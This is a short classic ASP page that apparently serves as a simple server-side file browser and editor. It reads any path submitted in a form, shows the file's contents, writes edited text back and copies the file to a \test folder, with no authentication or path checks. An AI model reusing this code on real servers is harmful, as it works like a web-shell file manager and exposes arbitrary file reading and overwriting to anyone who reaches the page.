<HTML>
 <HEAD>
  <TITLE>浏览、编辑文件</TITLE>
 </HEAD>
<BODY>
<form name="form1" method="post">
文件<input type="file"  name="file1"value="查阅">
<input type="submit" value="提交">
</form> 
<%
Set FSO = Server.CreateObject("Scripting.FileSystemObject")
dim file1
path=request.Form("file1")
if path<>"" then 
 session("ts")=path
 Set mytxt1 =fso.OpenTextFile(path,1)
%>
 当前文件名：<% =fso.getfilename(path)%>
 当前文件夹：<% =fso.getparentfoldername(path)%>
 <form name="form2" action="" method="post">
 <textarea name="bjk" rows="9" cols="45" wrap="off">
<% 
session("tt")=fso.getfilename(path)
 while not mytxt1.atendofstream
  response.Write trim(mytxt1.ReadLine&chr(13))  '读出文件内容
 wend
 mytxt1.close
%>
 </textarea>
 <br>
 <input type="submit" value="提交修改">
 </form>
<%
end if
 tj=request.Form("bjk")
 '修改内容
 if tj <>"" then
  Set mytxt2 =FSO.openTextFile(session("ts"),2)
  mytxt2.write(request.Form("bjk"))
  mytxt2.close
 
 set myfile2=fso.getfile(session("ts"))
path3=server.MapPath("\test")
 myfile2.copy path3,true
 
end if%>
<a href="\test"><%=path3%></a>
<%%>
</BODY>
</HTML>
